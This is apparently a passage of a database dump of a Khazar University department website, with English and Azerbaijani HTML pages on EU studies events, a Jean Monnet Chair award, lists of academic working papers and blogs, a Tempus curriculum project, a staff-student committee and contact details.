EU</strong></p><p><strong>19 November 2014</strong></p><p style=\"text-align:justify\">On November 19, the Department of Political Science and International Relations at Khazar University hosted Prof. Bernard Steunenberg, who is the Jean Monnet Ad Personam Chair in European Politics and Professor in Public Administration at Leiden University. He delivered a guest lecture in which he talked about the implementation of EU policy and applied it to the case of cultural heritage policy. He shared his insights on the different ways in which policy implementing agencies interact with national politics and the European Commission oversight, suggesting that different national implementing practices may exist. In addition, he pointed out the importance of establishing an “implementation acquis” among implementing agencies, which may help the EU to better formulate policies in the future.</p><p>&nbsp;</p><p><img src=\"/files/admin/16_01_22_6...gif\" style=\"width:150px;height:99px;margin:7px;float:left\"><img src=\"/files/admin/16_01_22_5...gif\" style=\"width:150px;height:99px;margin:7px;float:left\"><img src=\"/files/admin/16_01_22_4...gif\" style=\"width:150px;height:99px;margin:7px;float:left\"><img src=\"/files/admin/16_01_22_3...gif\" style=\"width:150px;height:99px;margin:7px;float:left\"><br></p><p><br></p><p><br></p><p><br></p><p><strong><br></strong></p><p><strong>First Jean Monnet Chair in Azerbaijan Awarded to Dr. Mukhtar Hajizada</strong></p><p><strong>17 September 2014</strong></p><p style=\"text-align:justify\">Dr. Mukhtar Hajizada, Head of the Department of Political Science and International Relations at Khazar University, was awarded the globally recognized and prestigious Jean Monnet Chair for his academic and pedagogical activities and his professional level in the field of European integration.</p><p style=\"text-align:justify\">The Jean Monnet Chair is a teaching title recognizing the quality of teaching and innovation specializing in European studies. &nbsp;The Jean Monnet Chair Award is given by the European Commission based on a global-scale international competition for a term of 3 years to support teaching and research on European integration. It should be noted that Dr. Hajizada is the first Jean Monnet Chair ever to win this award&nbsp;in Azerbaijan and only person in the South Caucasus in 2014. &nbsp;</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:center\"><strong><span style=\"font-size:12.0pt;line-height:115%;font-family:\'Times New Roman\',serif\">Working Papers</span></strong></p><table cellspacing=\"0\" cellpadding=\"0\" width=\"646\">\r\n <tbody><tr>\r\n  <td width=\"646\">\r\n  <p>University of Leeds,</p>\r\n  <p>School of Politics and international Studies</p>\r\n  <p><a href=\"http://www.polis.leeds.ac.uk/research/working-papers\">http://www.polis.leeds.ac.uk/research/working-papers</a>\r\n  </p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"646\">\r\n  <p>University of Bristol,</p>\r\n  <p>The School of Sociology, Politics, and International Studies Working Paper series</p>\r\n  <p><a href=\"http://www.bristol.ac.uk/spais/research/workingpapers/\">http://www.bristol.ac.uk/spais/research/workingpapers/</a>\r\n  </p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"646\">\r\n  <p>European University Institute,</p>\r\n  <p>Working Papers in Political and Social Sciences</p>\r\n  <p><a href=\"http://www.eui.eu/Research/Library/Collections/WorkingPapersPoliticalSocial.aspx\">http://www.eui.eu/Research/Library/Collections/WorkingPapersPoliticalSocial.aspx</a>\r\n  </p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"646\">\r\n  <p>University of Pittsburgh, European Studies Center</p>\r\n  <p>Policy and Working Paper Series</p>\r\n  <p><a href=\"http://www.ucis.pitt.edu/esc/content/policy-and-working-paper-series\">http://www.ucis.pitt.edu/esc/content/policy-and-working-paper-series</a>\r\n  </p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"646\">\r\n  <p>University of Oslo, ARENA Centre for European Studies</p>\r\n  <p>ARENA Working Papers</p>\r\n  <p><a href=\"http://www.sv.uio.no/arena/english/research/publications/arena-publications/workingpapers/\">http://www.sv.uio.no/arena/english/research/publications/arena-publications/workingpapers/</a>\r\n  </p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"646\">\r\n  <p>Free University of Berlin</p>\r\n  <p>Working Papers of the Institute for East European Studies</p>\r\n  <p><a href=\"http://www.oei.fu-berlin.de/politik/publikationen/index.html\">http://www.oei.fu-berlin.de/politik/publikationen/index.html</a>\r\n  </p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"646\">\r\n  <p>University of Stuttgart, Department of International Relations and European Integration</p>\r\n  <p>The International Relations Online Working Paper series</p>\r\n  <p><a href=\"http://www.uni-stuttgart.de/soz/ib/forschung/IRWorkingPapers/\">http://www.uni-stuttgart.de/soz/ib/forschung/IRWorkingPapers/</a>\r\n  </p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"646\">\r\n  <p>Australian National University, Centre for European Studies Working papers</p>\r\n  <p><a href=\"http://politicsir.cass.anu.edu.au/centres/anu-centre-for-european-studies/publications/working-papers\">http://politicsir.cass.anu.edu.au/centres/anu-centre-for-european-studies/publications/working-papers</a>\r\n  </p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"646\">\r\n  <p>Harvard University, The Minda de Gunzburg Center for European Studies</p>\r\n  <p>CES Working Papers Series</p>\r\n  <p><a href=\"http://www.people.fas.harvard.edu/~ces/publications/ces_papers.html\">http://www.people.fas.harvard.edu/~ces/publications/ces_papers.html</a>\r\n  </p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"646\">\r\n  <p>University of Glasgow, Centre for Russian, Central and East European Studies Working Papers Series</p>\r\n  <p><a href=\"http://www.gla.ac.uk/schools/socialpolitical/crcees/research/workingpapersseries/\">http://www.gla.ac.uk/schools/socialpolitical/crcees/research/workingpapersseries/</a>\r\n  </p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"646\">\r\n  <p>University of Amsterdam, European Studies Working Papers</p>\r\n  <p><a href=\"http://www.uva.nl/en/disciplines/european-studies/research/working-papers.html\">http://www.uva.nl/en/disciplines/european-studies/research/working-papers.html</a>\r\n  </p>\r\n  </td>\r\n </tr>\r\n</tbody></table>\r\n<p><strong>&nbsp;</strong></p>  <p style=\"text-align:center\"><strong><span style=\"font-size:12.0pt;line-height:115%;font-family:\'Times New Roman\',serif\">Academic blogs on European Politics</span></strong></p><table cellspacing=\"0\" cellpadding=\"0\">\r\n <tbody><tr>\r\n  <td width=\"630\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Ideas on Europe</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><a href=\"http://ideasoneurope.eu/\">http://ideasoneurope.eu/</a>&nbsp;</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  <p style=\"text-align: justify;\" margin:0in;margin-bottom:.0001pt;text-align:justify;background:white;vertical-align:baseline\"\"=\"\">Ideas on Europe is a blog hosting service which provides an independent forum for informed analysis, comment and debate. Created by&nbsp;<a href=\"http://www.uaces.org/\">UACES</a>&nbsp;(University Association for Contemporary European Studies) it hosts blogs by organisations and individuals actively engaged in European issues.</p>\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;background:white;vertical-align:baseline\"\"=\"\">&nbsp;</p>\r\n  <p style=\"text-align: justify;\" margin:0in;margin-bottom:.0001pt;text-align:justify;background:white;vertical-align:baseline\"\"=\"\">Blogging on Ideas on Europe can help you to&nbsp;make an impact beyond your organisation and area of expertise. With&nbsp;a diverse&nbsp;<a href=\"http://ideasoneurope.eu/contributors-2/\">community of bloggers</a>&nbsp;and a wide-ranging readership from all corners of the globe, you can&nbsp;quickly disseminate and receive feedback on new research or&nbsp;ideas.</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"630\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">The Oxford University Politics Blog</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><a href=\"http://blog.politics.ox.ac.uk/\">http://blog.politics.ox.ac.uk/</a></p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  <p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">Hosted by the Department of Politics and International Relations at the University of Oxford, this blog aims to promote our academic research and commentary to readers in and outside the university.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"630\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">European Futures</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><a href=\"http://www.europeanfutures.ed.ac.uk/\">http://www.europeanfutures.ed.ac.uk/</a> </p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  <p style=\"text-align: justify;\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:15.75pt;background:white;vertical-align:baseline\"\"=\"\"><em>European Futures</em>&nbsp;is an academic blog from the&nbsp;<a href=\"http://www.ed.ac.uk/\" target=\"_blank\">University of Edinburgh</a>&nbsp;and the&nbsp;<a href=\"http://www.europa.ed.ac.uk/\" target=\"_blank\">Edinburgh Europa Institute</a>&nbsp;which imagines Europe and its futures and provokes thought and debate on the issues facing Europe today.</p>\r\n  <p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.25in;margin-left:0in;text-align:justify;line-height:15.75pt;background:white;vertical-align:baseline\"\"=\"\">The blog is an online platform featuring commentary, analysis and insight on Europe and European affairs, broadly defined, by academics and practitioners from the University of Edinburgh and beyond.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"630\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">\"Europe is talking\" (The blog of the College of Europe Community)</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><a href=\"http://blog.coleurope.eu/\">http://blog.coleurope.eu/</a> </p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  <p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">Europe is talking is the blog of the College of Europe community. Its aim is to be a forum for discussion of European affairs by the members of this community – students, professors, academic assistants, alumni and guest speakers – and with the general public.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"630\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">Britain &amp; Europe</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\"><a href=\"http://britain-europe.com/\">http://britain-europe.com/</a> &nbsp;</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  <p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">This blog features contributions from&nbsp;UCL academics, scholars from other UK and international universities, and experts from the field, to create the first bespoke, university-hosted blog on Britain’s relationship to the European Union.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"630\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Politics @Surrey</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><a href=\"http://blogs.surrey.ac.uk/politics/\">http://blogs.surrey.ac.uk/politics/</a> </p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">The blog of the Department of Politics at the University of Surrey</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"630\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">UK-EU Referendum Watch</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><a href=\"http://blogs.kent.ac.uk/uk-eu-ref-watch/\">http://blogs.kent.ac.uk/uk-eu-ref-watch/</a> </p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">This is the blog of the UK-EU Referendum Watch hosted by the Global Europe Centre (GEC) at the University of Kent. This blog will provide non-partisan coverage of the UK’s referendum on EU membership.</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\"><br></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"630\">\r\n  <a href=\"http://politicalscience.ie/\">http://politicalscience.ie/</a> political science<p>Blog of the University College Dublin\'s School of Politics and International Relations (SPIRe) &nbsp;At .ie you can find all of the latest news on SPIRe’s ground-breaking research, upcoming speakers and events, and new programs.&nbsp;&nbsp;</p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"630\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">EUDO Cafe (European University Institute)</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><a href=\"https://blogs.eui.eu/eudo-cafe/\">https://blogs.eui.eu/eudo-cafe/</a> </p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  <p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:6.0pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">The EUDO Cafe is a place for discussing ideas on the challenges facing democracy in today’s Europe.</p>\r\n  <p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:6.0pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Starting in Spring 2010, it hosts periodical, invited posts inspired by current events in worldwide and European politics, by&nbsp;groundbreaking research at&nbsp;<a href=\"http://www.eudo.eu/\">EUDO</a>, as well as by debates in the press.</p>\r\n  <p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:6.0pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Posts will be open for discussion to everyone: scholars, politicians, journalists and occasional visitors. As its name states, the EUDO Cafe is supposed to be an unrestricted place for&nbsp;free-flowing, open discussion on the general issues and challenges facing democracy in Europe. Its aim is to attract academic experts, practitioners and ‘regular citizens’ alike.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"630\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Ballots and Bullets</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><a href=\"http://nottspolitics.org/\">http://nottspolitics.org/</a></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><span style=\"text-align:justify\"><br></span></p><p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><span style=\"text-align:justify\">This blog is produced by members of the School of Politics and International Relation at the University of </span>Nottingham,<span style=\"text-align:justify\"> and by regular guest pieces. The analysis contained in each entry is informed by our internationally-ranked research, and we hope it will help readers better understand the political dynamics that underpin the world in which we all live. The School of Politics and International Relations takes no institutional position and all authors views are their own.</span></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"630\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"></p><p>Manchester Policy Blogs</p><p></p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\"><a href=\"http://blog.policy.manchester.ac.uk/\">http://blog.policy.manchester.ac.uk/</a> </p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n </tr>\r\n</tbody></table>\r\n<p>&nbsp;</p>  <p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><img src=\"/files/politics_depart/eu_flag_co_funded_pos_rgb_right_0.jpg\" style=\"width:300px;height:85px;float:left\"><br></p>'),(449,286,'en','Tempus Programme','Tempus Programme','<p style=\"font-family:\'times new roman\', times, serif;text-align:justify\"><strong>Curriculum Development and Capacity Building in EU Studies</strong></p><p style=\"text-align:justify\">In 2012, we were awarded a three-year grant under the Tempus IV programme to enhance our curriculum in EU Studies and bring the quality of our education in the field in line with exemplary European examples. EU Studies is still a new field of academic study in Azerbaijan although there is a growing interest in it from students. In the period of 2012-2015, we aim to revise our curricula, create new courses, and develop our instructors, enhancing their academic expertise in EU studies, under the Project titled Curriculum Development and Capacity Building in EU Studies (CURDEUS).</p><p style=\"text-align:justify\">We coordinate activities aimed at the establishment of EU studies programs in local partner institutions. We are also responsible for the fulfillment of the project as well as dissemination of the materials which are produced, ensuring sustainability and quality monitoring. The staff of our Department will work on the development of a new curriculum for EU studies and the establishment of an EU Study Centre. Once completed, the curricula created within the framework of this project will be regularly updated and disseminated to other institutions of higher education in Azerbaijan and of the region if needed. It is also our intention to launch double and joint degree programs with interested partner institutions in line with the National Priorities in the field of Curriculum Reform set by the Ministry of Education of Azerbaijan.</p><p style=\"text-align:justify\"><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong>Project specific targets:</strong></p><p style=\"text-align:justify\">The project\'s specific targets are as follows: a) to update the existing, and establish a new, curriculum in the field of EU Studies for use at Azeri universities in line with European standards; b) to develop a curriculum which will significantly improve professional academic capacity in the sphere of EU Studies; c) to establish a permanent EU Studies Centre at Khazar University, which will function as a resource centre and think-tank in this field; d) to develop dual or joint degree programs in EU Studies with interested&nbsp; institutions in order to facilitate and promote further cooperation in the EU Studies field between Azerbaijan and the EU as a whole.&nbsp;&nbsp;&nbsp;</p><p style=\"text-align:justify\"><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong>Expected results:</strong></p><p style=\"text-align:justify\">- Curriculum/courses in this field will be established facilitating &nbsp;long term programme goals<strong>&nbsp;</strong></p><p style=\"text-align:justify\">- Academic staff will receive necessary training, and related academic activity (teaching, research) in the&nbsp;field&nbsp;will thereby be increased</p><p style=\"text-align:justify\">- An EU Studies Centre will be established and begin functioning</p><p style=\"text-align:justify\">- Agreements on establishing double or joint degree programs in this field will be concluded among&nbsp;involved&nbsp;institutions</p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\"><strong>EU&nbsp;</strong><strong>Partners</strong>:</p><p style=\"text-align:justify\">Leiden University (Netherlands)</p><p style=\"text-align:justify\">Academy of Management in Lodz (Poland)</p><p style=\"text-align:justify\">The Lusophone University of Humanities and Technology (Portugal)</p><p style=\"text-align:justify\">University of Genoa (Italy)</p><p style=\"text-align:justify\"><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong>Our partners &nbsp;in Azerbaijan:</strong></p><p style=\"text-align:justify\">Azerbaijan University</p><p style=\"text-align:justify\">Ganja State University</p><p style=\"text-align:justify\">Nakhchivan State University</p><p style=\"text-align:justify\">Baku State University</p><p style=\"text-align:justify\">Baku Slavic University</p><p style=\"text-align:justify\">Ministry of Education of Azerbaijan Republic</p>'),(450,286,'az','Tempus proqramı','Tempus proqramı',''),(451,287,'en','Staff Student Committee','Staff Student Committee','<p><strong>Departmental Staff-Student Consultative Committee</strong></p>\r\n<p style=\"text-align:justify\">The Department of Political Science and International Relations facilitates dialogue with students through its Staff-Student Consultative Committee (SSCC). The SSCC has been structured to provide a forum for students to discuss student academic concerns including teaching, learning and student support issues in an open manner at the Departmental level. The SSCC is comprised of student representatives and members of academic staff. The Committee may also be a forum to consult with students on future plans of the Department.</p>\r\n<p style=\"text-align:justify\">The Committee will meet once per semester (November and April). The Head of the Department will convene and regulate the conduct of the meetings.</p>\r\n<p style=\"text-align:justify\">The elected student representatives (ESRs) of the Committee will be representing the students of undergraduate and postgraduate programs in Political Science, International Relations and Regional Studies. Khazar University Student Union administers the electoral process under the supervision of the Head of Department. The ESRs are elected to serve for one academic year. They will need to be proactive in raising issues for the agenda of meetings representing students’ views. The ESRs will ensure that students’ views are collected and heard at the SSCC. It is the responsibility of the ESRs to contact the students they represent before each SSCC meeting asking if there are any concerns to be raised at the SSCC meetings. They may meet with students they represent and/or send emails well in advance of each meeting. They will have to ensure that discussions are documented and the students are kept informed of resulting decisions by reporting agreed action back to students they represent. The ESRs will be assigned to produce and distribute an annual summary of the issues discussed and actions taken at the end of every academic year.</p>\r\n<p style=\"text-align:justify\">The student representatives will serve on the SSCC on a voluntary basis and those who serve successfully will be issued a Certificate of Appreciation and their University service will appear on their student transcript.</p>\r\n<p style=\"text-align:justify\"><a href=\"http://www.khazar.org/files/politics_depart/Student%20Committee.pdf\"><strong>Members and their contacts</strong></a></p>'),(4864,2856,'az','Elan','Elan','<h2><span style=\"font-weight:normal\"><br></span></h2>'),(1944,1189,'en','Khazar Staff Members Attend “From Regions to Capital” Event','On June 6, 2016, Gunel Ismayilova, Assistant to the Department of Azerbaijani Language and Literature, and Julia Krajcarz, visiting researcher from Poland who is learning the Azerbaijani language in the same department, attended the “From Regions to Capital” event organized by the Ministry of Culture and Tourism at the Academic National Drama Theater.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On\r\nJune 6, 2016, Gunel Ismayilova, Assistant to the Department of Azerbaijani\r\nLanguage and Literature, and Julia Krajcarz, visiting researcher from Poland\r\nwho is learning the Azerbaijani language in the same department, attended the\r\n“From Regions to Capital” event organized by the Ministry of Culture and\r\nTourism at the Academic National Drama Theater. Opening the event, Abulfas\r\nGarayev, Minister of Culture and Tourism, and Taleh Garashov, Head of the\r\nExecutive Administration of the City of Lankaran, spoke about Lankaran and its\r\nculture, significance for tourism, and folklore. Before the event, there was an\r\nexhibition of the cuisine, arts and tourism opportunities in the Southern\r\nregions. The event was heavily attended and included a concert program. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><strong><em>&nbsp;</em></strong></p>'),(452,287,'az','Müəllim Tələbə Komitəsi','Müəllim Tələbə Komitəsi','<p><strong>Departamentin Müəllim-Tələbə Məşvərət Komitəsi</strong></p><p style=\"font-size:medium\">Siyasi Elm və Beynəlxalq Münasibətlər Departamenti tələbələri ilə dialoqunu Müəllim-Tələbə Məşvərət Komitəsi (MTMK) vasitəsi ilə yaradır. MTMK strukturu tələbələr üçün onların akademik qayğılarını, o cümlədən tədris, təhsil və tələbələrə dəstək məsələlərini Departament səviyyəsində açıq şəkildə müzakirə etmək üçün bir forum təmin etmək məqsədilə yaradılıb. MTMK tərkibi seçilmiş tələbə təmsilçilərindən və müəllim heyəti üzvlərindən ibarətdir. Komitə həmçinin departamentin gələcək planları ilə bağlı tələbələrlə məsləhətləşmək üçün forum da ola bilər.</p><p style=\"font-size:medium\">Komitə hər semestrdə bir dəfə görüş keçirir (Noyabr və Aprel). Departament müdiri toplantıları çağırır və onların keçirilməsi tənzimləyir.</p><p style=\"font-size:medium\">Komitəyə seçilmiş tələbələr Siyasi elm, Beynəlxalq münasibətlər və Regionşunaslıq ixtisaslarının bakalavr, magistr və doktorantura tələbələrini təmsil edəcək. Seçki prosesi Departamentin müdirinin müşahidəsi altında Xəzər Universiteti Tələbə Məclisi tərəfindən təşkil olunur. Komitəyə seçilmiş tələbələr bir akademik təhsil ili müddətində xidmət göstərmək üçün seçilir. Onlar tələbələrin fikirlərini təmsil edən məsələləri toplantının gündəliyində qaldırmaq üçün aktiv təşəbbüs göstərməlidirlər. Seçilmiş təmsilçilər təmsil etdikləri tələbələri maraqlandıran sualları toplayıb onların Komitədə səsləndirilməsini təmin etməlidirlər. Komitəyə seçilmiş tələbə təmsilçiləri Komitənin hər görüşündən əvvəl təmsil etdikləri tələbələrin toplantılarda qaldırmasını istədikləri məsələlərin müəyyən olunması üçün onlarla əlaqə saxlamağa məsuldurlar. Komitəyə seçilmiş təmsilçilər tələbələrlə görüşə və ya email ilə əlaqə saxlaya bilər. Komitəyə seçilmiş tələbə təmsilçiləri hər akademik ilin sonunda müzakirə olunmuş məsələlərin və onların nəticələrinin illik hesabatını hazırlayıb yaymalıdırlar.</p><p style=\"font-size:medium\">Müəllim-Tələbə Məşvərət Komitəsinə seçilmiş tələbələr könüllü əsaslarla xidmət edəcək. Uğurla xidmət edəcək tələbə təmsilçilərinə Təşəkkür Sertifikatı veriləcək və onların universitet həyatındakı bu xidməti transkriptlərində göstəriləcəkdir.&nbsp;&nbsp;</p><p style=\"font-size:medium\"><a href=\"http://www.khazar.org/files/politics_depart/Student%20Committee.pdf\"><strong>Üzvlərlə əlaqə</strong></a></p>'),(1943,1189,'az','“Xəzərli”lər “Bölgələrdən paytaxta” tədbirində oldular','2016-cı il iyunun 6-da Xəzər Universitetinin Azərbaycan dili və ədəbiyyatı departamentinin assistenti Günel İsmayılova ilə həmin departamentdə Azərbaycan dili və mədəniyyətini öyrənən polşalı sərbəst tədqiqatçı Julia Krajcarz Azərbaycan Respublikası Mədəniyyət və Turizm Nazirliyinin “Bölgələrdən paytaxta” adlı tədbirində iştirak etdilər.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı\r\nil iyunun 6-da Xəzər Universitetinin Azərbaycan dili və ədəbiyyatı departamentinin\r\nassistenti Günel İsmayılova ilə həmin departamentdə Azərbaycan dili və mədəniyyətini\r\nöyrənən polşalı sərbəst tədqiqatçı Julia Krajcarz Azərbaycan Respublikası Mədəniyyət\r\nvə Turizm Nazirliyinin “Bölgələrdən paytaxta” adlı tədbirində iştirak etdilər.Tədbir\r\nAkademik Milli Dram Teatrında keçrilirdi.Tədbiri giriş sözü ilə açan Mədəniyyət\r\nvə Turizm Naziri Əbülfəs Qarayev və Lənkəran Şəhər İcra Hakimiyyətinin başçısı\r\nTaleh Qaraşov Lənkəran haqqında və bölgənin mədəniyyəti, turizm əhəmiyyəti,\r\nfolkloru haqqında fikirlərini bölüşdülər.Tədbirdən əvvəl cənub bölgəsinin yeməkləri,\r\nsənətkarlıq və turizm potensialını əks etdirən sərgi nümayiş olundu. Tədbirə\r\nçoxlu sayda qonaqlar gəlmişdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Tədbir\r\nkonsert proqramı ilə yekunlaşdı.</p>'),(453,288,'az','Bizimlə əlaqə','Bizimlə əlaqə','<p><br>Siyasi elm və beynəlxalq münasibətlər departamenti&nbsp;</p><p>Xəzər Universiteti (Neftçilər Kampusu)&nbsp;&nbsp;</p><p>Məhsəti küçəsi 41, AZ1096&nbsp;</p><p>Bakı, Azərbaycan&nbsp;</p><p>Tel: +994 12 421 10 93 / 238  <br><br>  <br></p>'),(454,288,'en','Contact us','Contact us','<p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:\'times new roman\', times, serif;font-size:large;line-height:15px;text-align:justify;background-color:#ffffff\"><br></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:\'times new roman\', times, serif;font-size:large;line-height:15px;text-align:justify;background-color:#ffffff\">Address:</p><p style=\"font-family:\'times new roman\', times, serif\">Department of Political Science and International Relations</p><p style=\"font-family:\'times new roman\', times, serif\">Khazar University (Neftchilar Campus)</p><p style=\"font-family:\'times new roman\', times, serif\">&nbsp;41 Mehseti Str. AZ 1096</p><p style=\"font-family:\'times new roman\', times, serif\">Baku, Azerbaijan</p><p style=\"font-family:\'times new roman\', times, serif\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif\">Tel: +99412 4211093 / 238</p>\r\n<p style=\"font-family:\'times new roman\', times, serif\"><br></p> <p style=\"font-family:\'times new roman\', times, serif\"><br></p>'),(456,291,'en','•	Bachelor of Arts (BA) Program','•	Bachelor of Arts (BA) Program','<div><br></div><div><h3 style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Bachelor of Arts (BA) Program in International Relations</strong></h3><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">With the collapse of the Communist system and emergence of newly independent states in Eastern Europe and former Soviet Union, the field of International Relations has faced serious changes. The process of globalization is going on and New World Order is taking shape. These dynamics have increased the demand for specialists with highly advancedprofessional knowledge and skills as well as deep theoretical understanding of international affairs. Career opportunities in the field increase with the growth and diversity of international relations. The diplomatic service and other sectors of public bureaucracy related to international relations, as well as the media, private sector organizations, universities are important places of employment for those having obtained their BA degree in International Relations.</p><table cellpadding=\"5\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td><strong>CODE</strong></td><td><strong>COURSES</strong></td><td><strong>CREDITS</strong></td></tr><tr><td colspan=\"2\"><p><strong>UNIVERSITY REQUIREMENTS</strong></p></td><td><strong>27</strong></td></tr><tr><td colspan=\"2\"><p><strong>GENERAL EDUCATION REQUIREMENTS</strong></p></td><td><strong>21</strong></td></tr><tr><td colspan=\"2\"><p><strong>MAJOR REQUIREMENTS</strong></p></td><td><strong>78</strong></td></tr><tr><td colspan=\"3\"><p><strong>Major Related Courses</strong>(total 15 credits 